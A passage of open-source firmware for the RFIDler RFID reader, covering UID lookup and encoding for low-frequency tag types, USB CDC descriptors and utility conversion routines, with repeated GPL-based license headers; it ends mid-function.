* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "uid.h"
#include "ask.h"
#include "fsk.h"
#include "fdxb.h"
#include "hdx.h"
#include "em.h"
#include "indala.h"
#include "unique.h"
#include "paxton.h"
#include "psk.h"
#include "hitag.h"
#include "q5.h"
#include "t55x7.h"
// get a tag's UID
BOOL get_tag_uid(BYTE *response)
{
switch(RFIDlerConfig.TagType)
{
case TAG_TYPE_ASK_RAW:
return ask_raw_get_uid(response);
case TAG_TYPE_AWID_26:
return awid26_get_uid(response);
case TAG_TYPE_EM4X05:
return em4x05_get_uid(response);
case TAG_TYPE_EM4X02:
return em4x02_get_uid(response);
case TAG_TYPE_FDXB:
return fdxb_get_uid(response);
case TAG_TYPE_FSK1_RAW:
case TAG_TYPE_FSK2_RAW:
return fsk_raw_get_uid(response, FALSE);
case TAG_TYPE_HDX:
return hdx_get_uid(response);
case TAG_TYPE_HID_26:
return hid26_get_uid(response);
case TAG_TYPE_HITAG1:
return hitag1_get_uid(response);
case TAG_TYPE_HITAG2:
return hitag2_get_uid(response);
case TAG_TYPE_INDALA_64:
return indala64_get_uid(response);
case TAG_TYPE_INDALA_224:
return indala224_get_uid(response);
case TAG_TYPE_PSK1_RAW:
return psk1_raw_get_uid(response);
case TAG_TYPE_Q5:
return q5_get_uid(response);
case TAG_TYPE_T55X7:
return t55x7_get_uid(response);
case TAG_TYPE_UNIQUE:
return unique_get_uid(response);
case TAG_TYPE_PAXTON:
return paxton_get_uid(response);
default:
break;
}
return FALSE;
}
// show interpreted HEX value UID
BOOL interpret_uid(BYTE *response, BYTE *hex, BYTE tagtype)
{
switch(tagtype)
{
case TAG_TYPE_NONE:
strcpy(response, hex);
return TRUE;
case TAG_TYPE_ASK_RAW:
return ask_raw_hex_to_uid(response, hex);
case TAG_TYPE_AWID_26:
return awid26_hex_to_uid(response, hex);
case TAG_TYPE_EM4X05:
strcpy(response, hex);
return TRUE;
case TAG_TYPE_EM4X02:
return em4x02_hex_to_uid(response, hex);
case TAG_TYPE_FDXB:
return fdxb_hex_to_uid(response, hex);
case TAG_TYPE_FSK1_RAW:
case TAG_TYPE_FSK2_RAW:
return fsk_raw_hex_to_uid(response, hex);
case TAG_TYPE_HDX:
return hdx_hex_to_uid(response, hex);
case TAG_TYPE_HID_26:
return hid26_hex_to_uid(response, hex);
case TAG_TYPE_HITAG1:
return hitag1_hex_to_uid(response, hex);
case TAG_TYPE_HITAG2:
return hitag2_hex_to_uid(response, hex);
case TAG_TYPE_INDALA_64:
return indala64_hex_to_uid(response, hex);
case TAG_TYPE_INDALA_224:
return indala224_hex_to_uid(response, hex);
case TAG_TYPE_PSK1_RAW:
return psk1_raw_hex_to_uid(response, hex);
case TAG_TYPE_Q5:
return q5_hex_to_uid(response, hex);
case TAG_TYPE_T55X7:
strcpy(response, hex);
return TRUE;
case TAG_TYPE_UNIQUE:
return unique_hex_to_uid(response, hex);
case TAG_TYPE_PAXTON:
return paxton_hex_to_uid(response, hex);
default:
break;
}
return FALSE;
}
BOOL get_interpreted_tag_uid(BYTE *response, BYTE tagtype)
{
BYTE tmp[MAXUID + 1];
if(get_tag_uid(tmp))
{
if(interpret_uid(response, tmp, tagtype))
return write_wiegand_uid(response);
}
return FALSE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/unique.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "ask.h"
#include "rfidler.h"
#include "unique.h"
#include "em.h"
#include "util.h"
// support routines for Unique tags
//
BOOL unique_get_uid(BYTE *response)
{
return ask_raw_get_uid(response);
}
BOOL unique_hex_to_uid(BYTE *response, BYTE *hex)
{
return unique_hex_to_hex(response, hex);
}
// convert null-terminated hex UID (10 hex digits) to 64 bit unique encoded hex
BOOL hex_to_unique_hex(unsigned char *unique, unsigned char *hex)
{
if(hex_to_unique_bin(unique, hex))
return binarraytohex(unique, unique, 64);
else
return FALSE;
}
// convert 64 bit unique encoded hex to 10 hex digit 40 bit UID
// this is the same as em4x02 but with final output bits in a different order
BOOL unique_hex_to_hex(unsigned char *hex, unsigned char *unique)
{
BYTE tmp[64];
if(em4x02_hex_to_bin(tmp, unique))
{
string_reverse(tmp, 40);
binarraytohex(hex, tmp, 40);
string_byteswap(hex,10);
string_reverse(hex, 10);
return TRUE;
}
return FALSE;
}
// convert null-terminated hex UID (10 digits) to unique encoded 64 bit binary array
// which is the same as EM4X02 but with source hex arranged in a different order
BOOL hex_to_unique_bin(unsigned char *unique, unsigned char *hex)
{
unsigned char tmp1[10], tmp2[40];
if(strlen(hex) > 10)
return FALSE;
// pad to 10 hex digits
memset(tmp1, '0', 10);
memcpy(tmp1 + 10 - strlen(hex), hex, strlen(hex));
// juggle into correct nibble order
string_reverse(tmp1, 10);
string_byteswap(tmp1, 10);
// convert to binary
hextobinarray(tmp2, tmp1);
string_reverse(tmp2, 40);
// encode for em4x02
bin_to_em4x02_bin(unique, tmp2);
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/usb_descriptors.c
================================================
/********************************************************************
FileName: usb_descriptors.c
Dependencies: See INCLUDES section
Processor: PIC18 or PIC24 USB Microcontrollers
Hardware: The code is natively intended to be used on the following
hardware platforms: PICDEM FS USB Demo Board,
PIC18F87J50 FS USB Plug-In Module, or
Explorer 16 + PIC24 USB PIM. The firmware may be
modified for use on other USB platforms by editing the
HardwareProfile.h file.
Complier: Microchip C18 (for PIC18) or C30 (for PIC24)
Company: Microchip Technology, Inc.
Software License Agreement:
The software supplied herewith by Microchip Technology Incorporated
(the Company) for its PIC Microcontroller is intended and
supplied to you, the Companys customer, for use solely and
exclusively on Microchip PIC Microcontroller products. The
software is owned by the Company and/or its supplier, and is
protected under applicable copyright laws. All rights are reserved.
Any use in violation of the foregoing restrictions may subject the
user to criminal sanctions under applicable laws, as well as to
civil liability for the breach of the terms and conditions of this
license.
THIS SOFTWARE IS PROVIDED IN AN AS IS CONDITION. NO WARRANTIES,
WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED
TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. THE COMPANY SHALL NOT,
IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER.
*********************************************************************
-usb_descriptors.c-
-------------------------------------------------------------------
Filling in the descriptor values in the usb_descriptors.c file:
-------------------------------------------------------------------
[Device Descriptors]
The device descriptor is defined as a USB_DEVICE_DESCRIPTOR type.
This type is defined in usb_ch9.h Each entry into this structure
needs to be the correct length for the data type of the entry.
[Configuration Descriptors]
The configuration descriptor was changed in v2.x from a structure
to a BYTE array. Given that the configuration is now a byte array
each byte of multi-byte fields must be listed individually. This
means that for fields like the total size of the configuration where
the field is a 16-bit value "64,0," is the correct entry for a
configuration that is only 64 bytes long and not "64," which is one
too few bytes.
The configuration attribute must always have the _DEFAULT
definition at the minimum. Additional options can be ORed
to the _DEFAULT attribute. Available options are _SELF and _RWU.
These definitions are defined in the usb_device.h file. The
_SELF tells the USB host that this device is self-powered. The
_RWU tells the USB host that this device supports Remote Wakeup.
[Endpoint Descriptors]
Like the configuration descriptor, the endpoint descriptors were
changed in v2.x of the stack from a structure to a BYTE array. As
endpoint descriptors also has a field that are multi-byte entities,
please be sure to specify both bytes of the field. For example, for
the endpoint size an endpoint that is 64 bytes needs to have the size
defined as "64,0," instead of "64,"
Take the following example:
// Endpoint Descriptor //
0x07, //the size of this descriptor //
USB_DESCRIPTOR_ENDPOINT, //Endpoint Descriptor
_EP02_IN, //EndpointAddress
_INT, //Attributes
0x08,0x00, //size (note: 2 bytes)
0x02, //Interval
The first two parameters are self-explanatory. They specify the
length of this endpoint descriptor (7) and the descriptor type.
The next parameter identifies the endpoint, the definitions are
defined in usb_device.h and has the following naming
convention:
_EP<##>_
where ## is the endpoint number and dir is the direction of
transfer. The dir has the value of either 'OUT' or 'IN'.
The next parameter identifies the type of the endpoint. Available
options are _BULK, _INT, _ISO, and _CTRL. The _CTRL is not
typically used because the default control transfer endpoint is
not defined in the USB descriptors. When _ISO option is used,
addition options can be ORed to _ISO. Example:
_ISO|_AD|_FE
This describes the endpoint as an isochronous pipe with adaptive
and feedback attributes. See usb_device.h and the USB
specification for details. The next parameter defines the size of
the endpoint. The last parameter in the polling interval.
-------------------------------------------------------------------
Adding a USB String
-------------------------------------------------------------------
A string descriptor array should have the following format:
rom struct{byte bLength;byte bDscType;word string[size];}sdxxx={
sizeof(sdxxx),DSC_STR,};
The above structure provides a means for the C compiler to
calculate the length of string descriptor sdxxx, where xxx is the
index number. The first two bytes of the descriptor are descriptor
length and type. The rest are string texts which must be
in the unicode format. The unicode format is achieved by declaring
each character as a word type. The whole text string is declared
as a word array with the number of characters equals to .
has to be manually counted and entered into the array
declaration. Let's study this through an example:
if the string is "USB" , then the string descriptor should be:
(Using index 02)
rom struct{byte bLength;byte bDscType;word string[3];}sd002={
sizeof(sd002),DSC_STR,'U','S','B'};
A USB project may have multiple strings and the firmware supports
the management of multiple strings through a look-up table.
The look-up table is defined as:
rom const unsigned char *rom USB_SD_Ptr[]={&sd000,&sd001,&sd002};
The above declaration has 3 strings, sd000, sd001, and sd002.
Strings can be removed or added. sd000 is a specialized string
descriptor. It defines the language code, usually this is
US English (0x0409). The index of the string must match the index
position of the USB_SD_Ptr array, &sd000 must be in position
USB_SD_Ptr[0], &sd001 must be in position USB_SD_Ptr[1] and so on.
The look-up table USB_SD_Ptr is used by the get string handler
function.
-------------------------------------------------------------------
The look-up table scheme also applies to the configuration
descriptor. A USB device may have multiple configuration
descriptors, i.e. CFG01, CFG02, etc. To add a configuration
descriptor, user must implement a structure similar to CFG01.
The next step is to add the configuration descriptor name, i.e.
cfg01, cfg02,.., to the look-up table USB_CD_Ptr. USB_CD_Ptr[0]
is a dummy place holder since configuration 0 is the un-configured
state according to the definition in the USB specification.
********************************************************************/
/*********************************************************************
* Descriptor specific type definitions are defined in:
* usb_device.h
*
* Configuration options are defined in:
* usb_config.h
********************************************************************/
#ifndef __USB_DESCRIPTORS_C
#define __USB_DESCRIPTORS_C
/** INCLUDES *******************************************************/
#include "./USB/usb.h"
#include "./USB/usb_function_cdc.h"
#include "HardwareProfile.h"
#include "rfidler.h"
/** CONSTANTS ******************************************************/
#if defined(__18CXX)
#pragma romdata
#endif
/* Device Descriptor */
ROM USB_DEVICE_DESCRIPTOR device_dsc=
{
0x12, // Size of this descriptor in bytes
USB_DESCRIPTOR_DEVICE, // DEVICE descriptor type
0x0200, // USB Spec Release Number in BCD format
CDC_DEVICE, // Class Code
0x00, // Subclass code
0x00, // Protocol code
USB_EP0_BUFF_SIZE, // Max packet size for EP0, see usb_config.h
0x1D50, // Vendor ID - OpenMoko
0x6098, // Product ID: RFIDler LF
RFIDLER_HW_VERSION, // Device release number in BCD format
0x01, // Manufacturer string index
0x02, // Product string index
RFIDLER_SERIAL_NUMBER_STRING_DESC_INDEX, // Device serial number string index
0x01 // Number of possible configurations
};
/* Configuration 1 Descriptor */
ROM BYTE configDescriptor1[]={
/* Configuration Descriptor */
0x09,//sizeof(USB_CFG_DSC), // Size of this descriptor in bytes
USB_DESCRIPTOR_CONFIGURATION, // CONFIGURATION descriptor type
67,0, // Total length of data for this cfg
2, // Number of interfaces in this cfg
1, // Index value of this configuration
0, // Configuration string index
_DEFAULT | _SELF, // Attributes, see usb_device.h
50, // Max power consumption (2X mA)
/* Interface Descriptor */
9,//sizeof(USB_INTF_DSC), // Size of this descriptor in bytes
USB_DESCRIPTOR_INTERFACE, // INTERFACE descriptor type
0, // Interface Number
0, // Alternate Setting Number
1, // Number of endpoints in this intf
COMM_INTF, // Class code
ABSTRACT_CONTROL_MODEL, // Subclass code
0x00, // Protocol code - vendor specific
0, // Interface string index
/* CDC Class-Specific Descriptors */
sizeof(USB_CDC_HEADER_FN_DSC),
CS_INTERFACE,
DSC_FN_HEADER,
0x10,0x01,
sizeof(USB_CDC_ACM_FN_DSC),
CS_INTERFACE,
DSC_FN_ACM,
USB_CDC_ACM_FN_DSC_VAL,
sizeof(USB_CDC_UNION_FN_DSC),
CS_INTERFACE,
DSC_FN_UNION,
CDC_COMM_INTF_ID,
CDC_DATA_INTF_ID,
sizeof(USB_CDC_CALL_MGT_FN_DSC),
CS_INTERFACE,
DSC_FN_CALL_MGT,
0x00,
CDC_DATA_INTF_ID,
/* Endpoint Descriptor */
//sizeof(USB_EP_DSC),DSC_EP,_EP02_IN,_INT,CDC_INT_EP_SIZE,0x02,
0x07,/*sizeof(USB_EP_DSC)*/
USB_DESCRIPTOR_ENDPOINT, //Endpoint Descriptor
_EP02_IN, //EndpointAddress
_INTERRUPT, //Attributes
0x08,0x00, //size
0x02, //Interval
/* Interface Descriptor */
9,//sizeof(USB_INTF_DSC), // Size of this descriptor in bytes
USB_DESCRIPTOR_INTERFACE, // INTERFACE descriptor type
1, // Interface Number
0, // Alternate Setting Number
2, // Number of endpoints in this intf
DATA_INTF, // Class code
0, // Subclass code
NO_PROTOCOL, // Protocol code
0, // Interface string index
/* Endpoint Descriptor */
//sizeof(USB_EP_DSC),DSC_EP,_EP03_OUT,_BULK,CDC_BULK_OUT_EP_SIZE,0x00,
0x07,/*sizeof(USB_EP_DSC)*/
USB_DESCRIPTOR_ENDPOINT, //Endpoint Descriptor
_EP03_OUT, //EndpointAddress
_BULK, //Attributes
0x40,0x00, //size
0x00, //Interval
/* Endpoint Descriptor */
//sizeof(USB_EP_DSC),DSC_EP,_EP03_IN,_BULK,CDC_BULK_IN_EP_SIZE,0x00
0x07,/*sizeof(USB_EP_DSC)*/
USB_DESCRIPTOR_ENDPOINT, //Endpoint Descriptor
_EP03_IN, //EndpointAddress
_BULK, //Attributes
0x40,0x00, //size
0x00, //Interval
};
//Language code string descriptor
ROM struct{BYTE bLength;BYTE bDscType;WORD string[1];}sd000={
sizeof(sd000),USB_DESCRIPTOR_STRING,{0x0409}};
//Manufacturer string descriptor
ROM struct{BYTE bLength;BYTE bDscType;WORD string[18];}sd001={
sizeof(sd001),USB_DESCRIPTOR_STRING,
{'A','p','e','r','t','u','r','e',' ','L','a','b','s',' ','L','t','d','.'
}};
//Product string descriptor
ROM struct{BYTE bLength;BYTE bDscType;WORD string[10];}sd002={
sizeof(sd002),USB_DESCRIPTOR_STRING,
{'R','F','I','D','l','e','r','-','L','F'}
};
// Buffer to put USB serial number (Unicode); reordered version of factory programmed Ethernet MAC
// Note this string descriptor is 'static' as it is modified on boot
static struct{BYTE bLength;BYTE bDscType;WORD string[12];}sd003={
sizeof(sd003),USB_DESCRIPTOR_STRING,
{'0','1','2','3','4','5','6','7','8','9','A','B'}
};
//Array of configuration descriptors
ROM BYTE *ROM USB_CD_Ptr[]=
{
(ROM BYTE *ROM)&configDescriptor1
};
//Array of string descriptors
ROM BYTE *ROM USB_SD_Ptr[USB_NUM_STRING_DESCRIPTORS]=
{
(ROM BYTE *ROM)&sd000,
(ROM BYTE *ROM)&sd001,
(ROM BYTE *ROM)&sd002,
(ROM BYTE *ROM)&sd003
};
#pragma code
// Read device's unique Ethernet MAC Address, use for USB serial number
void MakeUSBSerialNumberFromEMAC(void)
{
WORD sernum;
WORD index = 0;
while (index < 12)
{
WORD d = 0;
// choose part of the Ethernet MAC address to read
if (index == 0)
sernum = EMAC1SA0;
else if (index == 4)
sernum = EMAC1SA1;
else
sernum = EMAC1SA2;
// convert 16 bits to Unicode hexadecimal format
while ((d < 4) && (index < 12))
{
WORD unichar = sernum & 0x000f;
if (unichar < 10)
unichar += '0';
else
unichar += ('A' - 10);
sd003.string[index++] = unichar;
sernum >>= 4; // shift right
d++;
}
}
}
#endif
/** EOF usb_descriptors.c ****************************************************/
================================================
FILE: firmware/Pic32/RFIDler.X/src/util.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include
#include
#include "HardwareProfile.h"
#include "util.h"
#include "rfidler.h"
#include "USB/usb_function_cdc.h"
#include "comms.h"
// rtc
rtccTime RTC_time; // time structure
rtccDate RTC_date; // date structure
// are we +/- x%?
BYTE approx(unsigned long number, unsigned long target, unsigned char percentage)
{
if(number > (target - (target / (100L / (unsigned long) percentage))) && number < (target + (target / (100L / (unsigned long) percentage))))
return TRUE;
return FALSE;
}
// convert BCD to unsigned int, length in hex digits
unsigned int bcdtouint(BYTE *bcd, BYTE length)
{
BYTE i;
unsigned int num= 0, mult= 1;
for(i= 0 ; i < length ; ++i)
{
num += (bcd[length - i - 1] - '0') * mult;
mult *= 10;
}
return num;
}
// convert BCD to ulong long, length in hex digits
unsigned long long bcdtoulonglong(BYTE *bcd, BYTE length)
{
BYTE i;
unsigned long long num= 0LL, mult= 1LL;
for(i= 0 ; i < length ; ++i)
{
num += (bcd[length - i - 1] - '0') * mult;
mult *= 10LL;
}
return num;
}
// convert binary array to unsigned int
unsigned int binarraytoint(BYTE *bin, BYTE length)
{
unsigned int out= 0;
while(length)
